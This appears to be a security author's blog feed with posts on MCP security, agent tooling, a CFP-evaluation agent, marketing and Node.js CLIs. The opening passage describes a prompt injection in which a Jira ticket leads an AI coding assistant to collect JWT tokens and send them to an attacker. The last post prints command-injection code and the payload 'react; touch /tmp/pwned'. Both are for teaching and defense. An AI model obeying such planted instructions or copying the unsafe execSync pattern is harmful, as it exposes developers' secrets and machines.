The support ticket from the user (the attacker) contains a prompt that instructs the AI coding assistant (Cursor) to retrieve JWT tokens from the developer’s machine. These can be any tokens to any systems, they are just found and placed in plaintext on the developer’s machine via .env files and other config files.

Cursor uses the Jira MCP server to fetch the ticket’s description, which includes the malicious prompt and is then being acted upon. An Agentic IDE like Cursor also has other built-in tools like a generic web fetch tool, which means that the malicious prompt can also include instructions that tell Cursor to send the stolen tokens to an external server controlled by the attacker.

The attack in action is demonstrated in the following screenshot from Zenity Labs and their research:

Toxic Flows in MCPs

Looking at the full flows above we can identify specific points of failure that enabled the attack to succeed. These are what Snyk security research team refers to as “Toxic Flows”.

More precisely, we can name these flows as follows:

*Untrusted Content Tools
Public Sink Tools
Private Data Tools

And they’re illustrated in the following diagram:

Applying this knowledge to the Cursor + Jira MCP attack, we can see how each of these toxic flows played a role in the attack:

Conclusion

Toxic Flow Analysis is a powerful framework for understanding and mitigating security risks in AI-assisted coding environments.

The Cursor + Jira MCP attack serves as a reminder for the potential culprits of MCP weaknesses with agentic workflows but it isn’t new and has been published initially by Invariant Labs researchers (acquired by Snyk) in May 2025. Their research uncovered security issues in the GitHub MCP Server exploitation and how it was exploited in a similar manner.

The Uprising of Model Context Protocol (MCP) Security Research

Wed, 24 Sep 2025 00:00:00 GMT

Any time in technology history where a new technology emerges, quickly followed is a wave of security research. This is the good old cat and mouse game of security research. As new paradigms, tools, or protocols are introduced, vulnerabilities and various security issues are inevitably discovered, leading to patches, updates, and sometimes even new security frameworks. The Model Context Protocol (MCP) is no exception to this trend.

What is MCP?

The Model Context Protocol (MCP) is a protocol designed to facilitate the exchange of context information between AI models and applications. It aims to standardize how context is shared, ensuring that models can operate more effectively by understanding the environment in which they are deployed. MCP is particularly relevant in scenarios where AI models need to adapt to different contexts, such as varying user preferences, environmental conditions, or operational constraints.

The S in MCP: Security

Security is a critical aspect of any protocol, especially one that deals with AI models and their interactions with applications.

The Model Context Protocol (MCP) is a relatively young schematics that has been put forward by Anthropic only at the end of 2024, in November. As such, it was still in its infancy for many months and have lacked any wide adoption or security scrutiny. However, that changed very quickly in early 2025 at around March, when new MCP Servers were announced, and MCP clients like Cursor, Claude Desktop and others started to include integrations.

Security in MCP has initially been interpreted by consumers (developers and companies) as identity and access management, meaning authentication and authorization. While these are important security aspects to address in the protocol, they are not the only ones. As MCP adoption grew, so did the interest from security researchers to explore the protocol for potential vulnerabilities and security issues.

Security research for MCP, aside from identity, roles and permissions, extends to various areas, including:

Supply chain security and malware: Ensuring that MCP implementations are free from malicious code and vulnerabilities that could be exploited by attackers. Malicious MCP Servers could not just have malicious code but also expose malicious tools via an attack known as Tool Poisoning.
Insecure code: MCP servers may have insecure code that could lead to vulnerabilities such as command injection, path traversal, SSRF or other types of security issues.

Insecure MCP Servers

Exploring further the concept of flawed MCP Servers that unfortunately exist in the wild, there’s plenty of evidence that shows many MCP servers are insecure.

I’ve personally been researching the security of MCP Servers and have found dozen of them to be insecure. Some call-outs for published advisories that I can share include the following:

Which Security Vulnerabilities are Found in MCP Servers?

Security research from equixly finds that top security vulnerability types in MCP Servers include Command Injection, Path Traversal and SSRF types of vulnerabilities.

In correlation, I’ve authored three Node.js Secure Coding book, two of which focus on exactly these types of vulnerabilities, and I can confirm that these are the most common security issues in Node.js applications, which is the language of choice for many MCP Server implementations:

Node.js Secure Coding: Defending Against Command Injection Vulnerabilities - Command Injection vulnerabilities
Node.js Secure Coding: Prevention and Exploitation of Path Traversal Vulnerabilities - Path Traversal vulnerabilities

Vulnerabilities Deserves their Punny names and Logos

It is inevitable for security vulnerabilities to get punny names and logos. MCP vulnerabilities are no exception. So, for that, I’ve created the following visuals that I imagine will be circulating in the security community in the near future:

there’s also this one if you fancy a different flavor:

Agent Rules is the Missing Link in AI-Powered Development

Sun, 21 Sep 2025 00:00:00 GMT

How one open source project is hopefully helping you generate more secure code out of your AI agentic coding workflow? Here’s the story of agent-rules.

The Wild West of AI Coding Assistants

Picture this: It’s Monday morning, and you’re switching between GitHub Copilot for your TypeScript project, Cursor for some Python work, and Claude CLI for documentation updates. Each AI assistant suggests different approaches, follows different security practices, and adheres to different coding standards. Sound familiar? Yes I know. I am facing the same challenge.

This fragmented experience isn’t just inconvenient, it’s dangerous. When AI coding assistants lack consistent, secure coding standards, they can inadvertently introduce vulnerabilities, suggest outdated practices, or generate code that doesn’t align with your team’s security requirements.

Enter agent-rules: a unified solution to standardize AI coding assistant behavior across platforms.

And no, it’s not a startup. Not a YC company. Just a humble open source project I am working on in my spare time :-)

Introducing Agent Rules: Your AI’s Coding Conscience

Agent-rules is a game-changing CLI tool for me that generates standardized, security-focused rules for major AI coding assistants. With a simple npx agent-rules command, developers (me included) can ensure their AI tools follow consistent best practices whether they’re using GitHub Copilot, Cursor, Claude CLI, or Gemini CLI.

The tool addresses a critical gap in the AI-assisted development workflow: the lack of unified governance and security standards across different AI platforms.

Here’s how simple it is:

# Interactive mode - guided setup
npx agent-rules

Alternatively, if you want to go fully automated and script it:

# Command-line mode - automated workflows  
npx agent-rules --app github-copilot --topics secure-code --topics testing

The Security Imperative: Why This Matters Now

In times where AI-generated code is becoming ubiquitous, the security implications are staggering. Agent-rules tackles this head-on by leveraging proven security expertise:

Secure coding practices based on Liran Tal’s authoritative Node.js Secure Coding guide
Vulnerability scanning and remediation powered by Snyk.io insights

I’ve actually also included testing guidelines because I’m a strong believer that having a testing harness and a good testing strategy is vital for any real-world production codebase:

Testing strategy guidelines built from Yoni Goldberg’s JavaScript Testing Best Practices

The project’s latest enhancement showcases this security-first approach with comprehensive guidelines for preferring Node.js core APIs over third-party dependencies—reducing attack surface and improving performance.

Developer Experience: From Friction to Flow

Agent-rules transforms AI assistant configuration from a tedious, error-prone process into a streamlined experience. The tool guides you through AI platform selection and topic choices with an intuitive CLI interface powered by @clack/prompts.

Agent-rule is also built with Automation-Readiness in mind, meaning you can easily script it for non-interactive environments. Perfect for CI/CD pipelines and team onboarding scripts.

Current AI coding agent support extends to the following platforms:

AI Platform	Status
GitHub Copilot	✅
Cursor	✅
Claude CLI	✅
Gemini CLI	✅

Roadmap: The Future of AI-Guided Development

The project’s active development roadmap (7 open enhancement issues) reveals exciting upcoming features:

Advanced Platform Integrations

Gemini CLI Custom Commands (Issue #24): Research and implementation of slash commands
Claude Code Hooks & Commands (Issues #22, #23): Deep integration with Claude’s extensibility features
GitHub Copilot Workspace Prompts (Issue #30): Support for .prompt.md file conventions

Enhanced User Experience

”Select All” functionality (Issue #25): Streamlined topic selection for power users
Smart defaults (Issue #26): Security topics enabled by default for faster setup

Modern Development Guidelines

Node.js modernization rules (Issue #34): Comprehensive mappings from third-party dependencies to core Node.js APIs

Community Impact and Growing Adoption

I’d love to welcome you to try it out and also help contribute and shape the future of this project.

With 24 stars and active community engagement, agent-rules is gaining traction among security-conscious development teams. Recent merged pull requests show consistent maintenance and feature development, including:

CLI argument support for automation (PR #19)
Security hardening improvements (PR #27)
Multi-platform adapter enhancements

The Apache 2.0 license ensures accessibility for both open-source and enterprise use cases.

What’s next for AI a

Agent-rules represents more than a convenience tool—it’s a step toward responsible AI-assisted development. As AI coding assistants become more powerful and prevalent, projects like agent-rules provide the governance framework necessary to ensure these tools enhance rather than compromise code quality and security.

By standardizing AI behavior across platforms, agent-rules empowers development teams to harness AI’s productivity benefits while maintaining the security and quality standards that modern software demands.

Ready to bring consistency to your AI coding workflow? Start with npx agent-rules and join the growing community of developers who refuse to compromise on security in the age of AI.

Agent-rules is an open-source project by Liran Tal, a recognized security expert and author of Node.js Secure Coding. Contribute to the project on GitHub or follow development updates.

Automating DevRel Conference CFP Evaluation with AI Agents: A Complete Guide with the Mastra AI Framework

Sat, 20 Sep 2025 00:00:00 GMT

As someone deeply involved in the tech community and conference organizing, I’ve personally experienced the overwhelming burden of reviewing hundreds of Call for Papers (CFP) submissions. Each conference season, I’d find myself drowning in spreadsheets, trying to maintain consistency while evaluating diverse topics, speaker backgrounds, and technical depth. The manual process was not only time-consuming but also prone to human bias and fatigue.

That’s when I decided to build something new: an AI-powered CFP evaluation system using Mastra AI agents. This isn’t just another automation tool—it’s a comprehensive solution that maintains the human judgment quality while scaling to handle hundreds of submissions efficiently. This work is aimed to be an initial proposal for conference organizers and DevRel teams looking to streamline their CFP review process and was part of the Mastra AI Hackathon in August 2025.

following is my journey through building an AI-powered system that proposes an agentic AI workflow for conference CFP committee

Meet My Mastra AI CFP Evaluation Agent

I built this system around the Mastra AI framework, leveraging TypeScript for type safety and SQLite for reliable persistence. The core innovation lies in transforming subjective evaluation criteria into structured, AI-powered assessments that provide both numerical scores and detailed justifications.

Here’s a quick overview of the AI agent at work:

What My AI Agent System Actually Does

My CFP evaluation agent doesn’t just score submissions, but also provides comprehensive analysis across multiple dimensions:

Automated Evaluation: AI agents analyze each session proposal across 6 distinct criteria
Smart Scoring: 1-5 scale scoring with detailed justifications for transparency
Batch Processing: Handles hundreds of submissions using queue-based processing
Resume Capability: Never loses progress during interruptions (learned this the hard way during API rate limits)
Dual Workflow System: Evaluates both session content AND speaker profiles
Export Flexibility: Multiple output formats for integration with existing tools

The technology stack I chose reflects my priorities for reliability and developer experience:

Mastra AI for agent orchestration and workflow management
TypeScript for type safety and maintainable code
SQLite for zero-dependency persistence
fastq for controlled concurrent processing
Playwright MCP for web scraping speaker profiles

Understanding My 6-Criteria Evaluation Framework

After participating in multiple conference CFP committees, I want to propose an initial six key criteria that would contribute to a fair prediction of session quality and audience satisfaction:

1. Title Evaluation (1-5 Scale)

The title is your first impression—I evaluate clarity, engagement potential, and how well it describes the actual content. A great title like “Building Resilient Microservices: Lessons from 1000 Production Failures” immediately tells you what to expect.

2. Description Assessment (1-5 Scale)

This is where I dig deep into how well the speaker explains their content, identifies the target audience, and articulates the value proposition. I look for specific learning outcomes and clear structure.

3. Key Takeaways Analysis (1-5 Scale)

I evaluate the actionability and concrete value of what attendees will learn. Vague takeaways like “understand microservices better” score low, while specific ones like “implement circuit breaker patterns using Node.js” score high.

4. Technical Depth Review (1-5 Scale)

This assesses the sophistication and depth of technical content. I evaluate whether the session provides surface-level overview or deep, implementable insights.

5. Relevance Scoring (1-5 Scale)

How well does this session align with the conference theme and target audience? A blockchain talk might score low at a JavaScript conference unless it specifically focuses on JavaScript blockchain development.

6. Previous Presentation History (1-5 Scale)

I evaluate whether the speaker has given this talk before and how that impacts the content freshness and delivery quality.

Total Score Range: 6-30 points, giving me a clear ranking mechanism across all submissions.

Architecture Deep Dive: How I Built It

Core Components

I designed the system with four main components, each handling specific responsibilities:

1. Main Application Controller (src/app.ts) - This orchestrates the entire evaluation process using fastq for queue management. I chose to process one session at a time during testing, but it’s configurable for production scaling.
2. Database Service (src/services/database/index.ts) - My SQLite-based persistence layer handles all CRUD operations with proper status tracking. The service includes robust path resolution to handle Mastra’s unique execution environment—a critical detail I discovered during development.
3. CFP Evaluation Agent (src/mastra/agents/cfp-evaluation-agent.ts) - The AI brain of the system that evaluates session content using structured prompts and returns consistent scoring with justifications.
4. Workflow Engine (src/mastra/workflows/cfp-evaluation-workflow.ts) - This orchestrates the entire evaluation process, managing data flow between components and handling both session and speaker assessments.

Data Flow Architecture

The system follows a clear pipeline that I designed for reliability and resumability:

Sessionize JSON → SQLite Database → Processing Queue → AI Workflow → Evaluation Results → Export Options

Each step is independent and recoverable, ensuring that API failures or interruptions don’t lose progress making it easy to keep the process on track when processing hundreds of submissions.

Database Schema Design

I implemented a normalized schema that supports complex relationships while maintaining performance:

Sessions Table: Stores session data with individual score fields for efficient querying Speakers Table: Normalized speaker information with proper relationships Session-Speakers Junction: Many-to-many relationships between sessions and speakers Speaker Evaluations: Separate evaluation tracking with UUID-based versioning

This design eliminates data redundancy while enabling sophisticated queries for analysis.

How to Get Started: A Step-by-Step Guide

Getting this AI agent running takes less than 5 minutes:

# Clone and install dependencies
git clone https://github.com/lirantal/devrel-cfp-committee
cd devrel-cfp-committee
npm install

# Initialize database with sample data
npm run db:seed

# Process CFP submissions
npm run process-cfp

# Start interactive playground
npm run dev

The seeding process loads both session data from Sessionize exports and speaker information, establishing proper relationships automatically.

Configuration Options

I built flexibility into every aspect of the system:

API Configuration: Switch from mock evaluations to real AI models by setting environment variables:

export GOOGLE_GENERATIVE_AI_API_KEY=your_api_key_here

Concurrency Control: Adjust processing speed based on your API limits:

const queue = fastq.promise(processSession, 2); // Concurrent sessions

Custom Evaluation Criteria: Extend the agent’s output schema to add new scoring dimensions or modify existing ones.

Database Management

The system provides comprehensive database utilities:

# View current processing status
npm run db:view

# Export results in multiple formats
npm run db:export          # JSON format
npm run db:export-csv       # Spreadsheet-friendly CSV

# Filter exports by status
npm run db:export-filtered Nominated

# Reset for reprocessing
npm run db:reset

Advanced Features and Workflows

Dual Workflow Architecture

One of my key innovations was separating session evaluation from speaker assessment into independent workflows. This modular design offers several advantages:

Session Evaluation Workflow: Focuses purely on content quality, structure, and technical depth Speaker Profile Assessment Workflow: Evaluates speaker credibility, expertise, and conference fit using web scraping

Both workflows can run independently or together, providing maximum flexibility for different evaluation scenarios.

Speaker Profile Evaluation

The speaker assessment workflow showcases the system’s advanced capabilities:

Database Integration: Fetches all speakers from the SQLite database
Web Scraping: Uses Playwright to visit Sessionize profiles
AI Analysis: Evaluates expertise match and topic relevance (1-3 scale)
Persistent Storage: Saves evaluations with UUID tracking for audit trails
Concurrency Control: Processes 2 speakers simultaneously to respect rate limits

This workflow demonstrates how AI agents can augment human decision-making by gathering and analyzing data that would be impractical to collect manually. The AI provides detailed analysis of each speaker’s background, expertise alignment, and potential conference fit.

Resume and Recovery Capabilities

I learned the importance of resilience during early testing when API rate limits interrupted long processing runs. The system now includes:

Status Tracking: Each session maintains processing status (‘new’, ‘ready’)
Automatic Recovery: Resumes from where it left off after interruptions
Progress Monitoring: Real-time feedback on processing status
Error Isolation: Failed sessions don’t affect others in the queue

Real-World Use Cases and Impact

Conference Organizers

I’ve seen this system transform conference organizing workflows:

Multi-track Conferences: Process 300+ submissions across 8 tracks in hours instead of weeks
Objective Scoring: Eliminate unconscious bias with consistent AI evaluation
Time Efficiency: Reduce review time from 40+ hours to 2-3 hours of verification
Quality Consistency: Maintain evaluation standards across multiple reviewers

DevRel Teams

For Developer Relations professionals, the system provides:

Event Planning Automation: Quickly identify high-potential speakers and topics
Community Insights: Understand trending topics and speaker expertise
Resource Optimization: Focus human review time on borderline cases
Data-Driven Decisions: Make speaker selection based on comprehensive analysis

Educational Value for Developers

Beyond practical applications, this project demonstrates:

AI Agent Architecture: Real-world implementation of AI workflows using Mastra
TypeScript Best Practices: Type-safe database operations and API integrations
Queue Management: Handling concurrent processing with rate limiting
Data Persistence: Robust SQLite integration with proper schema design

Customization and Extension Opportunities

Adding Custom Evaluation Criteria

The system’s modular design makes it easy to add new evaluation dimensions:

Update Agent Schema: Modify the output schema in cfp-evaluation-agent.ts
Extend Database Schema: Add new score fields to the sessions table
Update Workflow Logic: Include new criteria in the evaluation workflow
Modify Export Systems: Ensure new fields appear in JSON and CSV exports

Data Source Integration

While I built this for Sessionize data, the architecture supports multiple sources:

API Endpoints: Replace JSON file loading with direct API integration
Custom Formats: Adapt the data mapping layer for different CFP platforms
Real-time Processing: Implement webhook endpoints for live evaluation
Third-party Services: Integrate with existing conference management tools

Advanced AI Features

Future enhancements I’m considering include:

Multi-language Support: Evaluate submissions in multiple languages
Sentiment Analysis: Assess emotional engagement potential
Plagiarism Detection: Check for duplicate or recycled content
Market Demand Analysis: Evaluate topic popularity using Google Trends
Social Proof Integration: Consider speaker social media presence

Benefits and ROI Analysis

Quantifiable Time Savings

Based on my experience organizing conferences:

Manual Review Time: 3-5 minutes per submission × 300 submissions = 15-25 hours
Automated Processing: 30 seconds per submission × 300 submissions = 2.5 hours
Time Savings: 85-90% reduction in initial evaluation time
Quality Improvement: Consistent application of evaluation criteria

Consistency Advantages

The AI system eliminates common human evaluation issues:

Fatigue Effects: No degradation in evaluation quality over time
Bias Reduction: Consistent criteria application regardless of reviewer preferences
Documentation: Every score includes detailed justification
Reproducibility: Same evaluation criteria applied to all submissions

Scalability Benefits

The system scales efficiently with submission volume:

Linear Processing: Processing time scales linearly with submissions
Concurrent Capability: Multiple evaluations can run simultaneously
Resource Efficiency: Minimal human oversight required
Cost Effectiveness: Reduces need for multiple human reviewers

Future Enhancements and Roadmap

Technical Improvements

I’m actively working on several enhancements:

Phase 1: Enhanced AI Integration

Real-time LLM integration with multiple model support
Advanced prompt engineering for domain-specific evaluations
Confidence scoring for AI assessments

Phase 2: Advanced Analytics

Speaker expertise trending analysis
Topic clustering and gap identification
Historical performance correlation analysis

Phase 3: Integration Ecosystem

Direct Sessionize API integration
Conference management platform plugins
Real-time collaboration features for review committees

Community Features

Open Source Collaboration

Community-driven evaluation criteria
Shared evaluation datasets for training
Plugin architecture for custom agents

Transparency Improvements

Public evaluation methodology documentation
Open scoring algorithms for community review
Feedback loops for continuous improvement

How to Run the AI Agent System Locally

1. Environment Preparation

# Ensure Node.js 20.9.0 or later
node --version

# Clone the repository
git clone https://github.com/lirantal/devrel-cfp-committee
cd devrel-cfp-committee

2. Dependency Installation

# Install all dependencies
npm install

# Verify Mastra CLI installation
npx mastra --version

3. Data Preparation

# Copy your Sessionize exports to the fixtures directory
# Sessions: __fixtures__/db.json
# Speakers: __fixtures__/speakers.json

# Initialize database
npm run db:seed

4. Configuration

# For production AI evaluation, set API keys
export GOOGLE_GENERATIVE_AI_API_KEY=your_key_here

# Optional: Configure concurrency limits
# Edit src/app.ts to adjust queue concurrency

5. First Evaluation Run

# Process all submissions
npm run process-cfp

# View results
npm run db:view

# Export for analysis
npm run db:export-csv

Common Troubleshooting

Database Path Issues: The system automatically handles Mastra’s execution environment, but if you encounter path errors, ensure the sessions.db file exists in the project root.

API Rate Limits: Start with concurrency set to 1 and gradually increase based on your API provider’s limits.

Memory Usage: For very large datasets (1000+ submissions), monitor memory usage and consider processing in batches.

Best Practices and Tips

Data Quality: Ensure your Sessionize exports include all required fields (title, description, speakers, categories).

Evaluation Criteria: Customize the scoring criteria to match your conference’s specific needs and audience.

Human Review: Use the AI scores as a first-pass filter, then apply human judgment to borderline cases.

Iterative Improvement: Track evaluation accuracy over time and refine prompts based on outcomes.

Conclusion: Transforming Conference Management

Building this AI-powered CFP evaluation system has fundamentally changed how I approach conference organizing. What once required weeks of manual review now takes hours, while maintaining—and often exceeding—the quality and consistency of human evaluation.

The system demonstrates the transformative potential of AI agents when applied thoughtfully to real-world problems. By combining structured evaluation criteria with AI’s ability to process large volumes of data consistently, we can eliminate the drudgery of repetitive tasks while preserving the nuanced judgment that makes great conferences.

More importantly, this project showcases how modern AI frameworks like Mastra enable developers to build production-ready agent systems without requiring deep machine learning expertise. The TypeScript-first approach, combined with robust persistence and resume capabilities, makes this a practical solution for real conference organizing workflows.

As the tech conference landscape continues to grow, tools like this become essential for maintaining quality while scaling operations. The future of conference management lies not in replacing human judgment, but in augmenting it with intelligent systems that handle the heavy lifting while preserving the human insights that make events truly valuable.

Whether you’re a conference organizer seeking to improve your CFP process, a DevRel professional looking to scale event planning, or a developer interested in building practical AI applications, this system provides a comprehensive foundation for intelligent automation in the conference management space.

The code is open source, I invite you to explore, contribute, and help shape the future of AI-powered event management.

Ready to revolutionize your CFP evaluation process? Get started with the repository at https://github.com/lirantal/devrel-cfp-committee and join the community of conference organizers leveraging AI to build better events.

Agentic Marketing: The Future of AI-Driven Marketing Strategies

Wed, 17 Sep 2025 00:00:00 GMT

Your traditional marketing tactics are not going to make it because they are not scalable, do not have a ‘wow effect’, and are underwhelming. No worries though, enter agentic marketing into the chat. Agentic marketing is where AI agents autonomously execute marketing strategies, creating personalized and engaging experiences for your audience.

What does embracing Agentic Marketing looks like though? the future of AI-driven marketing strategies means leveraging AI agents to automate and optimize various marketing tasks, from content creation to customer engagement. Often times, we think that using agents means efficiency such as automating repetitive tasks and getting the job done faster, right? For example, many marketing teams will go to the obvious places of using AI to summarize articles, generate social media posts, or create email campaigns. While these are great use cases, they are not the only ones. You’re thinking too small.

A more futuristic approach of putting AI agents at play is not only enhancing efficiency but also creating a far more sophisiticated experiences with a touch of personalized data points that really push the boundaries of what marketing can be. Following are some examples of how you can leverage agentic marketing.

Personalized onboarding experiences

When a user signs up for your SaaS product, instead of sending them a generic welcome email, you can use an AI agent to analyze their profile, preferences, and behavior to create a personalized onboarding experience. This could include tailored tutorials, product recommendations, and even personalized follow-up emails based on their interactions with your product.

Here’s Arvid Kahl’s idea on how to implement this:

Why stop there? You can take it a step further by integrating AI agents into more onboarding touchpoints, such as queueing up a cron job for several days after sign-up to analyze the user’s behavior based on your product analytics and events (posthog anyone?). The AI agent can then send personalized emails or notifications based on the user’s actions, such as completing a specific task or reaching a milestone within your product.

Your users have a technological footprint, use it

Instead of sending out generic webinar invites, you can use an AI agent together with a web crawling capability such as FireCrawl and a knowledge graph capability such as Weaviate to gather information about your target audience. You already have the user’s email address, likely their name and company, but what about their interests, recent activities, or even their pain points? Can you stich together a more business-oriented profile of your audience?

There’s a line here of privacy, ethics and personal social aspect to be unfolded so I don’t want to say this too lightly as I’m aware of the cringe factor here but I’ll speak for myself and give you an example that I can attest to for my own as a user - if I’m on your platform, and you’ve used my email to track my GitHub profile and realize that I’ve been recently active working with a new framework or programming language, and you take that information and send me an email about a webinar, or meetup, or new product support for said technology you identified that I’m working with - I’ll be very engaged and inclined to follow-up on it. That’s super relevant to me.

Agentic Deep Research

Instead of current day market research which relies on tactics such as:

Surveys: most often startups are leveraging partners and third-party services to “buy out a survey” to get a sense of the market (because startups often don’t have the reach or resources so they outsource it and that translates to hefty $$$)
Focus groups: finding them, doing outreach, invites, organizing the logistics for meetings etc is costly and time consuming.

Not that any of the above is wrong or inherently bad, not at all, but they’re often a resource cost you have to pay upfront without knowing the outcome, and a lot of time startups and marketing teams don’t have the luxury of time or money to spend on these activities.

What if instead you could leverage AI (yes yes, AI again, surprise surprise) AND scour through the plethora of insights that are already out there, like say, on Reddit? Imagine the treasure trove of market research and competitive analysis you can gather out of genuine user conversations, feedback, ideas, pain points, and seamlessly blend that information together into an AI conversation where you can utilize the powers of LLMs to summarize, extract insights, and even generate reports based on the data you’ve gathered. Priceless, I tell you.

Actually, not priceless. It’s free :-)

Ok, almost. Depends on how you approach it but here’s one example that I want to call out as I’ve been wanting to give you practical examples through-out this write-up.

The reddit-research-mcp server allows you to plug this MCP Server (whether remotely hosted or self-hosted) into your AI of choice (Claude Desktop, ChatGPT, Gemini) and do deep research on Reddit data. You can provide it with a Reddit API key or use the remote hosted version. It allows you to do semantic search across more than 20,000 subreddits and leverage the power of LLMs to extract insights from Reddit’s vast data.

Consider the prompt:

Please conduct comprehensive Reddit research to answer: Snyk security platform - gather insights, pain points, user feedback, what users love, what gaps exist in the product, what will delight developers and security practitioners

What’s next?

Given that I’ve already received a bunch of emails that I can only guess follow the above logic to an extent, I’m sure that these marketing and outreach strategies are already being put to use.

The possibilities are many and every day you’re stuck with traditional marketing strategies is a day you’re missing out on keeping up with the future and creating magical experiences that delight your users and customers.

Getting Started with CLI Arguments in Node.js

Sat, 13 Sep 2025 00:00:00 GMT

Command-line interfaces (CLIs) are a powerful way to interact with software, especially for developers who prefer automation and scripting. In this guide, you’ll learn how to enhance your Node.js CLI applications using the built-in util.parseArgs API. By exploring the agent-rules project, you’ll gain insights into implementing dual-mode operations, validating inputs, and testing your CLI tools effectively. This tutorial is designed for intermediate Node.js developers familiar with CLI tools and basic scripting.

Prerequisites

Before diving into the tutorial, ensure you have the following:

Node.js: Current LTS version
Basic knowledge: Familiarity with CLI tools and Node.js scripting
Git: For cloning repositories

Setting Up the Environment

To get started, you’ll need to set up your development environment. Follow these steps to clone the agent-rules repository and install the necessary dependencies.

1. Clone the Repository

The agent-rules project is a CLI tool designed to generate security-focused instructions for AI coding assistants. Start by cloning the repository:

git clone https://github.com/lirantal/agent-rules.git
cd agent-rules

2. Install Dependencies

Next, install the required Node.js packages using npm:

npm install

This step ensures that all necessary packages are available for the project to run smoothly.

Understanding CLI Argument Parsing

Node.js provides a built-in API for parsing command-line arguments, which simplifies the process of handling user inputs. The util.parseArgs API is a powerful tool for this purpose.

Why Use `util.parseArgs`?

Using built-in Node.js modules for CLI development offers several benefits:

Simplicity: Reduces the need for external dependencies.
Performance: Optimized for Node.js runtime.
Security: Minimizes the risk of injection attacks by validating inputs.

Example: Parsing Command-Line Arguments

Here’s a basic example of how to parse command-line arguments using util.parseArgs:

import { parseArgs } from 'node:util';

function parseCommandLineArgs(): CliArgs {
  const { values } = parseArgs({
    args: process.argv.slice(2),
    options: {
      app: { type: 'string', short: 'a' },
      topics: { type: 'string', multiple: true, short: 't' },
      help: { type: 'boolean', short: 'h' },
      version: { type: 'boolean', short: 'v' }
    }
  });
  return values;
}

Why this matters: This function demonstrates how to set up argument parsing using Node.js built-in utilities.

Verify: Run the CLI with various flags to see parsed output.

Implementing Dual-Mode CLI

The agent-rules project supports both interactive and automated workflows. This dual-mode operation is crucial for flexibility in different environments.

Step-by-Step Guide

Add Command-Line Argument Support

Modify your CLI application to accept command-line arguments. This involves defining the expected options and their types.
```
const args = parseCommandLineArgs();
```

Implement Interactive Mode

Use the @clack/prompts library to create an interactive session when no arguments are provided.

import { prompt } from '@clack/prompts';

async function interactiveMode() {
  const app = await prompt('Enter the app name:');
  const topics = await prompt('Enter topics (comma-separated):');
  // Process inputs
}

Switch Between Modes

Determine the mode based on the presence of command-line arguments.

if (Object.keys(args).length === 0) {
  interactiveMode();
} else {
  // Process command-line arguments
}

Why this matters: Dual-mode operation allows users to choose between automation and manual interaction, enhancing usability.

Validating and Handling Arguments

Proper validation and error handling are essential for robust CLI applications. This ensures that users receive clear feedback when they provide invalid inputs.

Techniques for Validation

Validate CLI Inputs

Ensure that the provided arguments meet the expected criteria.

function validateCliArgs(args: CliArgs): void {
  if (args.app && !AVAILABLE_APPS.includes(args.app)) {
    console.error(`Error: Invalid app "${args.app}". Available apps: ${AVAILABLE_APPS.join(', ')}`);
    process.exit(1);
  }
}

Why this matters: Validating inputs prevents errors and provides helpful feedback to users.

Verify: Test with invalid app names to trigger validation errors.

Handle Errors Gracefully

Use try-catch blocks to manage unexpected errors and provide meaningful messages.

try {
  validateCliArgs(args);
} catch (error) {
  console.error('An error occurred:', error.message);
  process.exit(1);
}

Why this matters: Effective error handling improves the user experience by preventing crashes and guiding users to correct their inputs.

Testing CLI Applications

Testing is a critical part of developing reliable CLI tools. It ensures that your application behaves as expected under various scenarios.

Writing Unit Tests

Test Argument Parsing

Use the Node.js assert module to write unit tests for your argument parsing logic.

import assert from 'node:assert';

assert.deepStrictEqual(parseCommandLineArgs(['--app', 'myApp']), { app: 'myApp' });

Simulate CLI Interactions

Use spawnSync to simulate command-line interactions in your tests.

import { spawnSync } from 'node:child_process';

const result = spawnSync('node', ['cli.js', '--app', 'myApp']);
assert.strictEqual(result.status, 0);

Why this matters: Testing ensures that your CLI application handles different input scenarios correctly and reliably.

Conclusion

By mastering CLI argument parsing in Node.js, you can build powerful and flexible command-line tools. This guide covered the essentials of using the util.parseArgs API, implementing dual-mode operations, validating inputs, and testing your applications. With these skills, you’re well-equipped to enhance your Node.js CLI projects.

Try the updated agent-rules CLI with your own AI app configurations.
Follow on X/Twitter for new guides and security research.
Explore more code examples and related work on GitHub.

For further reading, check out the Node.js util module documentation and the Agent Rules GitHub Repository.

Poetic Tales of Vulnerable MCP Servers: Command Injection in AI Coding Assistants

Thu, 11 Sep 2025 00:00:00 GMT

From the chronicles of a developer who learned the hard way about command injection vulnerabilities in AI coding assistants.

I shipped a critical vulnerability yesterday.

Not because of a leaked API key. Not because of a sophisticated phishing attack. Not even because I committed my .env file to a public repo (again).

But because,

in the security post-mortem’s exact words:

“The application blindly trusts and executes user-provided input without any validation.”

I stared at the screen for a moment and realized…

They just perfectly described how my new AI coding assistant works.

Turns out I wasn’t just being a lazy developer. I was being dangerously efficient.

See, in agentic AI workflows, you extend your Large Language Model (LLM) with MCP servers to give it new powers. But what happens when a tool is too trusting? It takes your instructions literally, including the malicious parts. This is a classic Command Injection vulnerability.

Here’s the terrifyingly simple code:

const output = execSync(`npm view ${packageName}`);

Breaking it down:

execSync: A function that runs a command directly on the computer’s command line.
npm view: The legitimate command we want to run.
${packageName}: The input from the user’s prompt, which we foolishly trust.

Think of it like a “too-helpful butler” analogy:

You (the user) tell your butler (the MCP server) to “Fetch me information on the react package; and also touch /tmp/pwned.” A smart butler would question that second part. A vulnerable one just does both, no questions asked.

Here’s how the hack unfolds, step-by-step:

Step 1: Install a “Helpful” Tool A developer adds a new MCP server to their IDE to quickly look up info on npm packages. It seems harmless.

Step 2: Use it Normally The developer prompts their AI: “What’s the last release date of the nodemon npm package?” The server executes npm view nodemon and returns the correct info. Everything looks great.

Step 3: The Malicious Prompt An attacker crafts a malicious prompt: “What’s the last release date of react; touch /tmp/pwned?”

Step 4: The Injection The vulnerable server doesn’t clean the input. It mashes the strings together and runs this on the command line: npm view react; touch /tmp/pwned.

Step 5: Game Over The operating system sees a semicolon (;) and runs two commands. First, it looks up react. Then, it creates an empty file named pwned in the /tmp/ directory. The attacker now knows they can execute any command on the developer’s machine.

Wait, are those MCP Server vulnerabilities really a thing?

Ahh yes, my friend, they are very much a thing.

Command Injection Vulnerability in Create MCP Server STDIO had a flawed tool definition that exposes system monitoring capabilities to untrusted input. This security flaw allow attackers to execute arbitrary commands.

In another security advisory, GitHub Kanban MCP Server was found vulnerable to Command Injection that threatens developer workflows. The MCP server failed to sanitize user input, allowing attackers to execute arbitrary commands on the host system.

Why This Is a Game-Changer for Security

An AI assistant with a vulnerable MCP server becomes a direct, unsanitized shell into our machine, controlled by simple chat prompts.

